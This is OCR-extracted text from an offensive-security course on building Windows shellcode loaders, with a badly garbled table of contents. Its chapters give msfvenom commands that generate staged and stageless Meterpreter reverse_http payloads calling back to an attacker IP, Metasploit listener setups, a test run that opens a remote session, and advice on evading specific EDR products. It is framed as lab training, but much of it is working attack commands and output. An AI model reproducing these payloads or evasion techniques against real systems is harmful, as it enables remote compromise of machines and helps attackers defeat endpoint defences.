RS0 0 0 =T Y PPN 514
(01511 o) (=Yg 70 V7 F=T o] o =Y I 7 =14 g To] o 2SO PP PP PP 515
L Lo 18 o { T o PP 515
T12.7: ODjJECTIVES Of LEATNINE «.ennienitieiiieieeii ettt e et et et et e et eta et etaeeeneseetneeenannstnnsenannstnaaensennsensennsensens 515
72 =T o o] VA 17 F=T o] o o V= 0 PRt 516
L gL oY 18 o1 4T o IO PPN 516

(O 0=T=) N\ F=T o] o1 g T = O] o) [T o3 SFS PPN 517
MapP ANONYMOUS MEIMIOIY .ueniiiiniiiieiiet et ettt ettt eeee e et et et eaeesenaanstnsensanssnenssnssnsensansensnsnnsnssnstnsensensnnsnns 518
Mapped Memory - Additional INFOrMatioN .....e. ettt et e e e e e s e e e seneananns 519
Memory Mapping VS. MemOrY ALLOCATION ..c..veie ettt et e e et e e et et e e eaeneenansansaneeneensnnenns 520
SUMIMIAIY ettt ettt te e ettt ea et et et saneaneanannansansansansansnsassanstnsensensenssnssnsnssnsensensensnsensesnsnsensensensenees 520

L DZ2RC N -1 o Il 1 =T o] o= To 11 o' T o V2Rt 521
Lo T BT {0} o PP 521
(@MY AV T\ o) i g [o R Mo T=To =Y g 0o o Lol =Y o | (PN 521

RS AU Lo [=T = =] PR 521
Meterpreter: Shellcode and LiStener Preparation ...t ee et et eeeaeneens e s e eensanennenns 522
CodeFuscation: Shellcode ENCOMING ..c..iuiiiiiiiiiiie e ettt ee et et ea et eaenstnsensansansasenssnssnsensensensenens 522
Visual Studio: BUildiNg the LOAUET ..c.enieniiiiiiiii e e ettt ee et e e eaeaenseas e s e eaneaneanensensensansansennn 522
X64dbg: Debugging Preparaltions ... . oot e et et et et e e et et e e e et e e e e eaas 523
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X64dbg: DebUZEING the LOAUEN ....eeeeeeeeeee et et e et e e et et e e e e ea e e e e e e eeaeenns 523
12.3.1: WOIrKDOOK — ViSUBL STUIO ... etuiiiiiiiiie ettt e et et e et e et e et e et s eaa s et e enneenneennens 524
T oo 18T [ o T PP 524
Loader FUNCTIONALl Y SUMMIAIY ..ottt ee et et ettt et et enaeneansansassnsanstnssnsensensassesensensrnsensenees 524
BT AU Lo 1=T o A = TS T PPN 525
TaSK: INSEIT SNELLCOTE .. ccuueiiiiiiiiii ettt ettt et e e e e et e et e e et e e et e etaa e etna e eenneenneennseenns 525
Task: Create MapPiNg ODJECT. ... iun ittt ettt ettt ettt et ete et et ee e et et eaneenneanneensesnsaneensannsenneensannees 526
B SN ET o B A2, G N [T 1 g o] o VPPN 526
TASK: UUID DECOING ...eneeniiiieeietet ettt ettt ettt ettt et et e et et et e e eaeaaea e en et et e e saneneanneneneensaneennns 527
12.3.2: WOTKDOOK = DEDUBEING . enieniiniiiiiiiie e ee et ettt eeee e e e eaeaseaneasensansanssnsasaesesssnssnsensensnnsensennn 528
T oo 18T T o T PP 528
1 AE Lo 1=T o A = TS TSP 528
Task: Pointer & Shellcode POSITION ....cuuuiiiuiiiiiiiiiiiiii ettt st e e et et s eeae s eeaes 528
Task: SNEllCOAE DECOAING ..c.uvuuiiiiiiiiii ittt et et e e et s ea st st eaa st etnsennsenesanennsas 534
Task: Create Mapping/SeCtion ODJECT ......ivuiiiiiiii et e e e e e e eaa e 537
Task: MEMOIY MAPPING ..cuuiiiiiiiiii ettt et et e et ettt e et et eaa s eastaeanstastnennsenesansennnns 538
Task: Writing Decoded ShellcOde iN MEIMOIY .. u.iin it et e e e et et e e eaeaseaeneanesnsensenees 541
Task: SHellCOdE EXECUTION . .....iiuiiiiiii i et et ettt e e et et et et s etaa s eene s eenaeenes 542
1010 010 o F=1 oY 2 PR PRPPPt 544
LA S =Y o Rl T =T o] o= To M\ 1T 0 0 T Y VAV PPN 545
Tk (o To 18T o1 4 o] o U PPN 545
OVErVIieW Of the LOAAEr CONCEPT . euuiiiiiiiiieiei e ie et et ettt ee e et et eaaenneneneensensansanennrsnennsnssnsensensnnsnns 545
RS AU Lo 1=T = = E] T N 545
Meterpreter: Shellcode and LiStener Preparation ... .. cu i e e e e e e e ae e e e e e e e e eanaes 546
CodeFuscation: Shellcode ENCOMING ....vuiiniiiiiiiieiii et e et et e e et ete et e e e e eanensasnasnesnernasnsnnsens 546
Visual Studio: BUIildiNg the LOATET ....unieniiiiiiiii ettt ee et et et et e e e e e et e e e e snnenasneanaansensanees 546
X64dbg: DebUZEING Preparations .. ... e ettt ettt et et e et et et e ea et eea e en et eaa e e eaneaaa e 547
X64dbg: DEbUZEING the LOAUEN ....enieniiiiiiiiieiei ettt ettt ee e et et et eaen e e s ensansaneanennsnsansansansensannn 547
12.4.1: WOrkbook — ViSUal STUAIO....ccuuiiiuiiiiiiiiiiii i e e e e eaaa s 549
T oo 16 o T o 549
Loader FUNCTIONALITY SUMMAIY ... o ettt e et et e e eaeeaen e e sansansanennannansansansensensnnens 549
AU e (=T o A F= T TP PPN 550
LR S LT a ] 1= T oo Lo = PSP PPPP PP 550
Task: Create MapPiNg OB JECT. ... uuu ittt ettt et et e et et et e et etneaneannetaneenesnetnneensannsennsensannnes 551
TASK: MAP RW-MEIMOIY ettt ettt te ettt ettt et et eaneaaeaneaeanstnsansansansanssnsnssnstnsessansasensesnsnsensensensenees 551
TasK: UNMAp RW-MEMOIY . uuiiiiiiiiiii ettt et ettt te e et et et et eaeentnsensansansanssssnstnsenstnsensanenssnssnsensensensenees 552
Task: (RE)MaAP RX-MEIMIOIY ..ueuiiiiiiiiiiie et ettt te et e e et et et et et e e sansaneansansnsansansansansanenssnssnsensensenrenees 552
TASK: MAC DECOMING c.n vttt et ettt ettt et e et et eaaeaenantnsansansassssssnssstnsensensensessnssnssnsenssnsensenees 553
12.4.2: WOrkDOOK — DEDUGZING ..cneeeeenie ettt ettt et et e e e e e e et s e e e en e e en e eeneaaennnn 554
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LN LU T {0} o PP 554
AU e [=T o | F= 1 PP PPOPPPP PP 554
Task: Pointer & Shellcode POSITION .....cciuiiiiiiiiiiiiiiiiiiii ittt ettt ea s eeae e ees 554

B 11 ST a1 (oo Yo [N B I=ToTo Yo |14 T S RPN 560
Task: Create Mapping/SeCTION OBJECT ..uun ittt e et e et et et s e eaneaneanenansaneansansanns 563
Task: Memory Mapping - RWV ...ttt et et e et et et et e e ea e et et e e eanennen et eeneanennnn 564
Task: Writing Decoded ShellcOde iN MEMOTY .....iueiiiniiiieii ettt et et et e et et eaeeneeneeensennseneenns 566
Task: UNmMap MapPed MEIMIOIY vttt et ettt e e et e eaatesnenassnenesetnesasesnensaasnsnsenssnennsns 568
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Chapter 4: Staged vs Stageless

Introduction

In this chapter, we will learn a bit about the differences between staged and stageless shellcode, and then we will
start building and debugging our first shellcode loader.

In the context of shellcode, there are criteria for distinguishing between staged and stageless shellcode. As
mentioned earlier, we will be focusing on using Meterpreter as a command-and-control framework, so in this lesson
we will take a closer look at staged and stageless shellcode in the context of Meterpreter.

Up front in this course, we will focus on using x64 shellcode that communicates via an internal IP address using the
HTTP protocol to our Meterpreter listener (more on that later).

Further Reading and Resources

e https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-stageless-
mode.html
e https://buffered.io/posts/staged-vs-stageless-handlers/

4.1: Objectives of Learning

After having worked through the following chapter, the course participant should be able to answer the following
comprehension questions on his/her own.

# Questions on Understanding
1. What are the main differences between staged and stageless shellcode?
2. How many stages are implemented in Meterpreter's stageless shellcode (excluding later stages like

stdapi, priv, bofloader)?

3. Is it always recommended to use stageless shellcode, or is it necessary to keep in mind that each EDR is
different?
4. What is the problem when trying to use stageless shellcode in hex string format in Visual Studio?
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4.2: Staged Meterpreter Shellcode

Introduction

First, let's explore how staged shellcode works in the context of Meterpreter. The advantage of using staged
shellcode is that all the shellcode is broken up into multiple stages. This means that your loader does not contain a
single, large payload with all the instructions needed to establish a command-and-control (C2) session. Instead, it
contains a smaller component known as a stager, which is a compact portion of the full shellcode designed to
perform the initial task of loading the remaining stages during the staging process.

A loader implementing staged shellcode begins by loading this small initial stage, which then retrieves larger stages
from the C2 server. This staged approach reduces the size of the loader, and potentially its detectability, because the
initial payload is minimal and performs only a specific subset of operations.

In the case of Meterpreter, the staged shellcode is structured with a small initial stage 0 payload. This payload
connects to the C2 server and then downloads the larger stage 1 payload and any additional stages. The table below
details the staging process in the context of Meterpreter.

# Stage Description

Stage 0 The initial payload, known as the stager, is sent to the target. This is typically a small piece of
shellcode (about 350b) that is responsible for establishing a network connection back to the
attacker's machine.

Stage 1 Once the connection is established, the stager downloads the larger second-stage payload .
This payload often includes the core components of Meterpreter, such as the metsrv DLL
(about 169kb).
Subsequent Additional components or extensions, such as stdapi (about 332kb) and priv (about 104kb),
Stages are sent over the established connection and loaded into memory without touching the disk,

using techniques like Reflective DLL Injection.

If you would like to learn more about the staging process of the Meterpreter, the following two articles are
recommended.

e Metasploit Documentation - Stageless Mode

e Staged vs Stageless Handlers

In contrast, stageless shellcode contains the entire payload in a single stage, which can simplify deployment, but
requires enough space to accommodate the entire payload from the start (more on this later).
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4.3: Workbook - Staged Meterpreter Shellcode

Introduction

In general, when creating staged or stageless payloads in the context of Metasploit, we will use the msfvenom tool on
Kali Linux, which is part of the Metasploit Framework. In this section, we will focus on creating staged shellcode with
msfvenom.

Hex-String Format

To create a staged x64 Meterpreter shellcode/payload in hex-string format, we can use the following command,
which will generate a staged x64 Meterpreter shellcode in a well-formatted hex string with no line breaks or the like.

Make sure you replace the placeholder for the LHOST parameter with the appropriate IPv4 address that the implant
should connect back to (in this example, it is 10.10.70.1, the IP of my Kali box).

msfvenom —p windows/x64/meterpreter/reverse_http LHOST=10.10.70.1 LPORT=80 —f ¢ | tr -d '\n' | tr -d '\"' >
/tmp/meterpr_staged.txt

/opt
sfvenom -p windows/x64/meterpreter/reverse_http LHOST=10.10.70.1 LPORT=80 -f ¢ d "\n’ d "\"' /tmp/meterpr_staged.txt
[- ] No platform was selected, choosing Msf::Module::Platform::Windows from the payload

[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload

Payload size: 662 bytes

Final size of c file: 2816 bytes

Below is an example of how stage shellcode in hex-string format is used in Visual Studio 2022, in this case the
variable shellcode which holds the shellcode is declared as an unsigned char.

r shellcode[] = "\xfc\xu48\x83\xeld..."
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Hex-Array Format

Ifitis needed in a LAB to create staged x64 Meterpreter shellcode/payload in hex-array format, we can use the
following command, which generates staged x64 Meterpreter shellcode in a well-formatted hex-string with no line
breaks or similar.

Make sure you replace the placeholder for the LHOST parameter with the appropriate IPv4 address that the implant
should connect back to (in this example, it is 10.10.70.1, the IP of my Kali box).

msfvenom —p windows/x64/meterpreter/reverse_http LHOST=10.10.70.1 LPORT=80 —f csharp | tr -d '\n' | tr —d
"\"' > /tmp/meterpr_staged.txt

fopt
\ m -p windows/x64/meterpreter/reverse_http LHOST=10.10.70.1 LPORT=80 -f csharp r -d '\n tr -d '\"' /tmp/meterpr_staged.txt
[-] No platform was selected, choosing Msf ::Module::Platform::Windows from the payload

[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload

Payload size: 717 bytes

Final size of csharp file: 3675 bytes

Below is an example of how stage shellcode in hex-array format is used in Visual Studio 2022, in this case the variable
shellcode which holds the shellcode is declared as an unsigned char.

shellcode[] = { Oxdd, 0x5a, 6xdl, 0x52, Ox55, OxU8, 0Ox89,
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RAW Format

Ifitis needed in a LAB to create staged x64 Meterpreter shellcode/payload in raw binary format, then we can use the
following command.

Also in this case, make sure you replace the placeholder for the LHOST parameter with the appropriate IPv4 address
that the implant should connect back to (in this example, it is 10.10.70.1, the IP of my Kali box).

msfvenom —p windows/x64/meterpreter/reverse_http LHOST=10.10.70.1 LPORT=80 —f raw -o
/tmp/meterpr_staged.bin

/opt
msfvenom -p windows/x64/meterpreter/reverse_http LHOST=10.10.70.1 LPORT=80 -f raw -o /tmp/meterpr_staged.bin
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload

[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload

Payload size: 756 bytes

Saved as: /tmp/meterpr_staged.bin

As you will see throughout the course, we will use shellcode in raw format in the context of different loaders, for
example, when using shellcode in raw binary format as a .bin file inside our Portable Executable (PE), or when hosting
on different types of webservers/cloud services.

Parameter Description Payload Creation

The table below shows a description of the parameters we used above to create staged Meterpreter shellcode in
various formats with msfvenom tool in Kali.

Parameter Description
-p Specifies the payload to be generated.
windows/x64/ Generate a staged 64-bit Windows compatible payload that communicates
meterpreter/reverse_http using the HTTP protocol.
LHOST=10.10.70.1 Local host (the attacker's IP address, in this case the internal IP of your kali

box) that the payload will connect back to.
LPORT=80 Local port (on the attacker's system) that the payload will use to connect.

-f -f: Format option that specifies the output format of the payload.
e c: Generate payload in hex string format such as \xFC\x83\xAA
e cs: Generate payload in hex array format such as 0xFC,0x83,0xAA

e raw: Generate payload in raw binary format as a .bin file

| tr-d "\"' Pipes the output from the previous command into tr.

tr-d '\n': Removes newline characters from the payload output.
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> /tmp/meterpr_staged.txt Produces shellcode as final output in plaintext to a file named
meterpr_staged.txt in the /ftmp directory.

> /tmp/meterpr_staged.bin Produces shellcode as final output in raw binary format to a file named
meterpr_staged.bin in the /tmp directory.

Meterpreter Staged Listener

Whether we have created staged shellcode in hex-string or raw binary format, the next step is to use the
exploit/multi/handler module in Metasploit to set up the appropriate listener. It is crucial to remember that since we
have created a staged shellcode/payload, we must also configure a staged listener, as shown below.

Again, make sure you replace the placeholder for the LHOST parameter with the appropriate IPv4 address that the
implant should connect back to (in this example, it is 10.10.70.1, the IP of my Kali box).

msfconsole

use exploit/multi/handler

set payload windows/x64/meterpreter/reverse_http
set lhost xxX.XXX.XXX.XXX

set lport 80

set exitonsession false

set autoloadstdapi false

run

msf6 > use exploit/multi/handler
Using configured payload windows/x64/meterpreter/reverse_http
msf6 exploit( ) > set payload windows/x64/meterpreter/reverse_http
payload = windows/x64/meterpreter/reverse_http
msf6 exploit( ) > set lhost 10.10.70.1
lhost = 10.10.70.1
msf6 exploit( ) > set lport 80
lport = 80
msf6 exploit( ) > set exitonsession false
exitonsession = false
) > set autoloadstdapi false
autoloadstdapi = false
msf6 exploit( ) > run

Started HTTP reverse handler on http://10.10.70.1:80

Parameter Description Staged Listener

As shown in the figure above, we set the payload to a staged windows/x64/meterpreter/reverse_http payload. The
Meterpreter listener is set up and listening on 10.10.70.1, port 80, for incoming reverse Meterpreter shells. The
ExitOnSession parameter which is set to false is worth noting; it prevents Metasploit from automatically interacting
with new Meterpreter sessions when a connection is received. Instead, to interact with a new incoming reverse
session, you must press Ctrl+c and then select the desired session by typing sessions followed by the session ID. This
mode is more convenient if you have multiple tests running in your lab and do not want Meterpreter to automatically
connect and initiate a shell for each incoming session.
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We also want to disable the automatic delivery of the stdapi stage or module by setting the autoloadstdapi parameter
to false. This adjustment addresses a common issue with timing-based behavior detections. When the stdapi
modaule is initialized immediately after the session is established, it often triggers EDR detections due to its timing
and behaviors patterns.

Summary

So far, we have learned how to generate staged x64 Meterpreter shellcode in hex-string, hex-array or raw binary
format that communicates over the http protocol. We have also learned how to set up an appropriate staged
Meterpreter listener.

Whenever you need to set up a staged Meterpreter in a LAB later in this course, you can come back to this lesson.
Next, we will learn how to do the same thing in the context of a stageless Meterpreter setup.
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4.4: Stageless Meterpreter Shellcode

Introduction

Earlier in this lesson, we explored the theoretical aspects of staged Meterpreter shellcode and discussed how it can
be applied in practice during the labs later in this course. Now let's shift our focus to stageless Meterpreter
shellcode, also known as non-staged shellcode.

More specifically, the stageless Meterpreter shellcode combines the functionality of both Stage 0 and Stage 1 found in
the staged Meterpreter, streamlining the initial deployment process. However, additional modules or features, such
as stdapi (if autoload for stdapi is disabled) or bofloader, still require manual loading via staging from the C2 server to
the active implant.

Staged vs. Stageless Shellcode

When comparing staged and stageless shellcode, we can analyze them from several different perspectives. For our
purposes, aside from reliability, one of the most intriguing aspects is their effectiveness at EDR evasion. As
mentioned earlier, Meterpreter shellcode has no built-in evasion or OPSEC features. However, the differences
between staged and stageless shellcode can still affect their detectability depending on the EDR in question.

From an evasion perspective, stageless shellcode has the advantage of avoiding behavior-based detections tied to
Meterpreter's staging process. Some EDRs like EDR-D monitor the sequential actions involved in staging - such as the
initial connection followed by the download of additional payloads - and flag them as suspicious. By delivering the
entire payload in a single stage, stageless shellcode avoids these behavior patterns.

On the other hand, if the EDR in question is less focused on staged detection related to Meterpreter-an approach
commonly associated with EDRs like EDR-A's-staged shellcode can have its own advantages. For example, staged
shellcode keeps the size of the loader smaller, reducing its static footprint, which can help avoid static detections
based on file analysis. Please note that this detection behavior is also highly dependent on the C&C framework used.

Practical observation: It is recommended to use stageless shellcode whenever possible to avoid behavioral
detection associated with the staging process. The staging process involves multiple network
communications and memory allocations that can trigger behavioral detections by EDRs.

However, when testing shellcode loaders against EDR-A, an interesting result was observed. When non-
staged shellcode was used in our loader, the loader was detected during or after execution. In contrast,
switching to staged shellcode did not block execution of the same loader, suggesting that EDR-A had no
problem with the Meterpreter staging process in these cases.
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Summary

In summary, practical observations when targeting different EDRs show that it is not always accurate to claim that
stageless shellcode is inherently better. While this may be true in theory, real-world scenarios often defy
expectations. To ensure success, it is important to gain as much real-world experience as possible through hands-on
testing in different scenarios, using different types of loaders, shellcode, frameworks, etc., and targeting different
EDRs. Sometimes the results do not match the theoretical predictions or hypotheses, and you may be surprised by
the results.

This section provided a brief introduction to stageless shellcode and also compared staged and stageless shellcode
from an evasion perspective. As you will see, we will use stageless shellcode in various forms, such as an additionally
encoded or encrypted .bin, in several labs later in this course.

4.5: Workbook - Stageless Meterpreter Shellcode

Introduction

Before we delve into placing stageless shellcode inside a portable executable (PE) and hosting it on a web server in
later lessons, itis important to understand how to create stageless Meterpreter shellcode and the formats available
for generating stageless Meterpreter shellcode.

But how can we generate stageless shellcode/payloads inside Metasploit, specifically using msfvenom? The main
difference lies in using windows/x64/meterpreter_reverse_http as payload for generating stageless shellcode instead of
windows/x64/meterpreter/reverse_http used for staged shellcode.

RAW Format

Ifitis needed in a LAB to create stageless x64 Meterpreter shellcode/payload in raw binary format, then we can use
the following command. Also in this case, make sure you replace the placeholder for the LHOST parameter with the
appropriate IPv4 address that the implant should connect back to (in this example, it is 10.10.70.1, the IP of my Kali
box).

msfvenom —-p windows/x64/meterpreter_reverse_http LHOST=10.10.70.1 LPORT=80 —f raw -o
/tmp/meterpr_stageless.bin

/opt
isfvenom -p windows/x64/meterpreter_reverse_http LHOST=10.10.70.1 LPORT=8@ -f raw -o /tmp/meterpr_stageless.bin
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload

[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload

Payload size: 204892 bytes

Saved as: /tmp/meterpr_stageless.bin

As you will see throughout the course, we will use shellcode in raw format in the context of different loaders, for
example, when using shellcode in raw binary format as a .bin file inside our Portable Executable (PE), or when hosting
on different types of webservers/cloud services.
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Hex Array Format

Ifitis needed in a LAB to create stageless x64 Meterpreter shellcode/payload in hex-array format, we can use the
following command, which generates stageless x64 Meterpreter shellcode in a well-formatted hex-string with no line
breaks or similar.

Make sure you replace the placeholder for the LHOST parameter with the appropriate IPv4 address that the implant
should connect back to (in this example, it is 10.10.70.1, the IP of my Kali box).

msfvenom —p windows/x64/meterpreter_reverse_http LHOST=10.10.70.1 LPORT=80 —f csharp | tr -d '\n' | tr —d
"\"' > /tmp/meterpr_stageless.txt

fopt

s fve p windows/x64/meterpreter_reverse http LHOST=10.10.70.1 LPORT=80 -f csharp r -d '\n' 1 "\"" /tmp/meterpr_stageless.txt
[-] No platform was selected, choosing Msf ::Module::Platform::Windows from the paylead

[-] No arch selected, selecting arch: x64 from the payload

No encoder s ed, outputting raw payload

Payload size 4892 bytes

Final size o rp file: 1041567 bytes

Below is an example of how stage shellcode in hex-array format is used in Visual Studio 2022, in this case the variable
shellcode which holds the shellcode is declared as an unsigned char.

shellcode[] = { Oxu4d, Ox5a, Oxd4l, Ox52, Ox55, OxuU8, 0Ox89,
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Hex String Format

We will not need this course, but for completeness, if you want to create a stageless x64 Meterpreter
shellcode/payload in hex-string format, you can use the following command, which will generate stageless x64
Meterpreter shellcode in a well-formatted hex string with no line breaks or the like.

Make sure you replace the placeholder for the LHOST parameter with the appropriate IPv4 address that the implant
should connect back to (in this example, it is 10.10.70.1, the IP of my Kali box).

msfvenom —p windows/x64/meterpreter_reverse_http LHOST=10.10.70.1 LPORT=80 —f c | tr -d '\n' | tr -d '\"' >
/tmp/meterpr_stageless.txt

fopt

T p windows/x64/meterpreter_reverse_http LHOST=10.10.70.1 LPORT=80 -f ¢ d '\n' t d "\ /tmp/meterpr_stageless.txt
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload

[-] No arch selected, selecting arch: x64 from the payload

No encoder specified, outputting raw payload

Payload size: 204892 bytes

Final size of ¢ file: 863500 bytes

Hex String - Visual Studio Limitation

An important consideration when using shellcode in a Visual Studio project is the string literal length limit, which
applies even if the shellcode is declared as a hexadecimal string (for example, using \xFC... escape sequences). By
default, Visual Studio imposes a limit of 16,380 single-byte characters per string literal. Since each hex escape

sequence (\xFC...) consists of four characters in source code, but represents one byte at runtime, this effectively
limits the maximum shellcode size in a single hex string to about 4 KB.

For example, if you are working with Visual Studio and you use stageless Meterpreter shellcode in string format
(which is about 200 KB) in your loader, you may encounter error C2026, which indicates a string length limitation. As
shown in the figure below, this limitation may prevent you from compiling your project if your shellcode exceeds this
length.

Error List

Entire Solution > | € 1 Error I A 0 Warnings | @0 Messages I o]] I Build + IntelliSense Search Error List

Description

string too big, trailing characters truncated Win32Classic_Solution main.c

Error List = Output

So, if we want to use stageless Meterpreter shellcode in our loader, we have the following options for implementation:

e Use shellcode as array instead of string
e Implementation of shellcode using a resource file
e Place shellcode outside your loader on a web server
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Parameter Description Payload Creation

The table below shows a description of the parameters we used above to create stageless Meterpreter shellcode in
various formats with msfvenom tool in Kali.

Parameter

-p
windows/x64/
meterpreter_reverse_http

LHOST=10.10.70.1

LPORT=80

f

[ tr-d"\"™

> /tmp/meterpr_stageless.txt

> /tmp/meterpr_stageless.bin

Description

Specifies the payload to be generated.

Generate a stageless 64-bit Windows compatible payload that
communicates using the HTTP protocol.

Local host (the attacker's IP address, in this case the internal IP of your kali
box) that the payload will connect back to.

Local port (on the attacker's system) that the payload will use to connect.

-f: Format option that specifies the output format of the payload.
e c: Generate payload in hex string format such as \xFC\x83\xAA
e cs: Generate payload in hex array format such as 0xFC,0x83,0xAA

e raw: Generate payload in raw binary format as a .bin file

Pipes the output from the previous command into tr.

tr -d '\n': Removes newline characters from the payload output.

Produces shellcode as final output in plaintext to a file named
meterpr_stageless.txt in the /tmp directory.

Produces shellcode as final output in raw binary format to a file named
meterpr_stageless.bin in the /tmp directory.
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Meterpreter Stageless Listener

Whether we have created stageless shellcode in hex-string or raw binary format, the next step is to use the
exploit/multi/handler module in Metasploit to set up the appropriate listener. It is crucial to remember that since we
have created a stageless shellcode/payload, we must also configure a stageless listener, as shown below.

Again, make sure you replace the placeholder for the LHOST parameter with the appropriate IPv4 address that the
implant should connect back to (in this example, itis 10.10.70.1, the IP of my Kali box).

msfconsole

use exploit/multi/handler

set payload windows/x64/meterpreter_reverse_http
set lhost xxx.XxXX.XXX.XXX

set lport 80

set exitonsession false

set autoloadstdapi false

run

msf6 > use exploit/multi/handler

Using configured payload windows/x64/meterpreter/reverse_http
msf6 exploit( ) > set payload windows/x64/meterpreter_reverse_http
payload = windows/x64/meterpreter_reverse_http
msf6 exploit( ) > set lhost 10.10.70.1
lhost = 10.10.70.1
msf6 exploit( ) > set lport 80
lport = 80
msf6 exploit( ) > set exitonsession false
exitonsession = false
msf6 exploit( ) > set autoloadstdapi false
autoloadstdapi = false
msf6 exploit( ) > run

Started HTTP reverse handler on http://10.10.70.1:80

Parameter Description Stageless Listener

As shown in the figure above, we set the payload to a stageless windows/x64/meterpreter_reverse_http payload. The
Meterpreter listener is set up and listening on 10.10.70.1, port 80, for incoming reverse Meterpreter shells. The
ExitOnSession parameter, which is set to false is worth noting; it prevents Metasploit from automatically interacting
with new Meterpreter sessions when a connection is received. Instead, to interact with a new incoming reverse
session, you must press Ctrl+c and then select the desired session by typing sessions followed by the session ID.

This mode is more convenient if you have multiple tests running in your lab and do not want Meterpreter to
automatically connect and initiate a shell for each incoming session.

We also want to disable the automatic delivery of the stdapi stage or module by setting the autoloadstdapi parameter
to false. This adjustment addresses a common issue with timing-based behavior detections. When the stdapi
module is initialized immediately after the session is established, it often triggers EDR detections due to its timing
and behavior patterns.
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Summary

So far, we have learned how to generate stageless x64 Meterpreter shellcode in hex-array or raw binary format that
communicates over the http protocol. We have also learned how to set up an appropriate stageless Meterpreter
listener. We also learned that using stageless shellcode in hex-string format is not possible in Visual Studio due to the
string length issues described above.

Whenever you need to set up a stageless Meterpreter in a LAB later in this course, you can come back to this lesson.
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5.4.2: Workbook - Compile Loader & Test Run

Introduction

Once the loader is complete, the next step is to compile it in debug mode and perform an initial test run. This
process remains the same regardless of the type of loader you are developing. To avoid redundancy in future
chapters, you can refer to this workbook whenever you need guidance on compiling and testing the loader in Visual
Studio. Here are some important notes to keep in mind when testing shellcode loaders for this course:

e Foraninitial test run of your loader (with Meterpreter shellcode) as a debug compiled version, use the
Win10-Dev VM with no Antivirus (AV) or Endpoint Detection and Response (EDR) solutions installed/enabled.

e Never upload a shellcode loader to platforms such as Virus Total or similar services.

Task: Loader Compilation - Debug Version

At this point you should have completed all the tasks for this loader, and you can now build your .exe by compiling the
loader. If you are developing malware or software in general, if your code is not working and you are in the
development phase, compile the loader as debug (x64) as shown below.

File Edit View Git Project Build Debug Test Analyze

H-er B E Debug ~ x64

Finally, by compiling the loader you can use the GUl as shown in the figure below, or you can use the shortcut
Ctrl+Shift+B.

File Edit View Git Project Build Debug Test Analyze Tools Extensions Window Help
e B i i . i
%9 - [~ == [=] Build Solution Ctrl+Shift+B

Run Build Insights on Solution

If the loader has been completed successfully, you can find the compiled .exe in the associated Visual Studio project
in the x64/debug folder.

Task: Meterpreter Test Run

Next, we want to run our compiled .exe in a virtual machine with no third-party EDR installed and Windows Defender
disabled. If you have done everything correctly, you should receive an incoming Meterpreter session, as shown below.

msf6 exploit( ) > run

Started HTTP reverse handler on http://10.10.70.1:80
[!'] http://10.10.70.1:80 handling request from 10.10.70.2; (UUID: do7fowjs) Without a database conng

http://10.10.70.1:80 handling request from 10.10.70.2; (UUID: do7fowjs) Staging x64 payload (202
[!] http://10.10.70.1:80 handling request from 10.10.70.2; (UUID: do7fowjs) Without a database conneg
Meterpreter session 13 opened (10.10.70.1:80 — 10.10.70.2:60368) at 2024-09-21 18:13:59 +0000
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If you now wish to interact with the Meterpreter session, you must press Ctrl+c and then interact with the session of
your choice by typing sessions followed by the session ID.

msf6 exploit( ) > run

Started HTTP reverse handler on http://10.10.70.1:80
[!] http://10.10.70.1:80 handling request from 10.10.70.2; (UUID: do7fowjs) Without a database conneq
http://10.10.70.1:80 handling request from 10.10.70.2; (UUID: do7fowjs) Staging x64 payload (202
[!] http://10.10.70.1:80 handling request from 10.10.70.2; (UUID: do7fowjs) Without a database conneq
Meterpreter session 13 opened (10.10.70.1:80 — 10.10.70.2:60368) at 2024-09-21 18:13:59 +0000
e Exploit failed [user-interrupt]: Interrupt
run: Interrupted

msf6 exploit( ) > sessions 13
Starting interaction with 13 ...

meterpreter > load stdapi
Loading extension stdapi ... Success.

meterpreter > getuid
Server username: PEN@2-DEV\daniel

meterpreter > [

Summary

So far, we've finished preparing the Meterpreter, and we're moving on to the next workbook, where we'll prepare our

loader for debugging.

Note that later in "Chapter 19: Loader Fine Tuning”, when all the shellcode loader building and debugging
stuff is done, we will look in "Workbook - Compile Release Version" at how to compile our loader for the real-
world scenario without applying debugging information, disabling optimization, hiding console windows, etc.
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5.4.3: Workbook — Debugging Preparations

Introduction

Once you have built the loader and completed the initial test run, you can begin preparing for debugging. As with the
compilation process, the steps for preparing to debug are the same for all the loaders covered in this course. To avoid
repetition, you can refer to this workbook whenever you need guidance on preparing for debugging.

Note that if you were unable to complete the loader in any chapter, you can use the completed loader
provided in the Solutions folder of the corresponding chapter to continue working with the Debugging
workbook. The completed loader is located in the chapter folder and is marked with the suffix _Solution —
for example, Win32Classic_Solution.

Task: Check Project Properties
When debugging in the context of Visual Studio 2022, we must first ensure that we set the debugging mode in Visual
Studio as shown below.

File Edit View Git Project Build Debug Test Analyze

iH-e¢ B G Debug ~ x64 -

Next, we need to verify the runtime library settings under the Code Generation section in the project properties. To
access the project properties, simply right click the project name in the Solution Explorer and select Properties.
Alternatively, you can select the project name with a single left-click and press Alt + Enter to open the project
properties, as shown below.

Unload Project

Load Direct Dependencies

Load Entire Dependency Tree
Rescan Solution

Display Browsing Database Errors

Clear Browsing Database Errors

C? Open Folder in File Explorer

Solution Explorer G B=] Open in Terminal

X Properties Alt+Enter d to Source Control «

Next, as shown in the image below, navigate to C/C++ > Code Generation in the project properties and verify that the
Runtime Library setting is set to Multi-threaded Debug DLL (/MDd).
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Please note that it is very important to set the Runtime Library to Multi-threaded Debug DLL (/MDd) to

avoid possible unexpected results when debugging loaders in the upcoming labs.

Win32Classic_Solution Property Pages

Configuration: |Active(Debug)

4 Configuration Properties

General

Advanced

Debugging

VC++ Directories

4C/C++

General
Optimization

Preprocessor
Code Generation
Language

~

v Platform: Active(x64) v

Enable String Pooling
Enable Minimal Rebuild
Enable C++ Exceptions
Smaller Type Check
Basic Runtime Checks

No (/Gm-)

Yes (/EHsc)

No

Both (/RTC1, equiv. to /RTCsu) (/RTC1)

? X

Configuration Manager...

|Runtime Library

Multi-threaded Debug DLL (/MDd)

Struct Member Alignment
Security Check
Control Flow Guard

Enable Function-Level Linking
Frahla Darallal Cada Ganaratinn

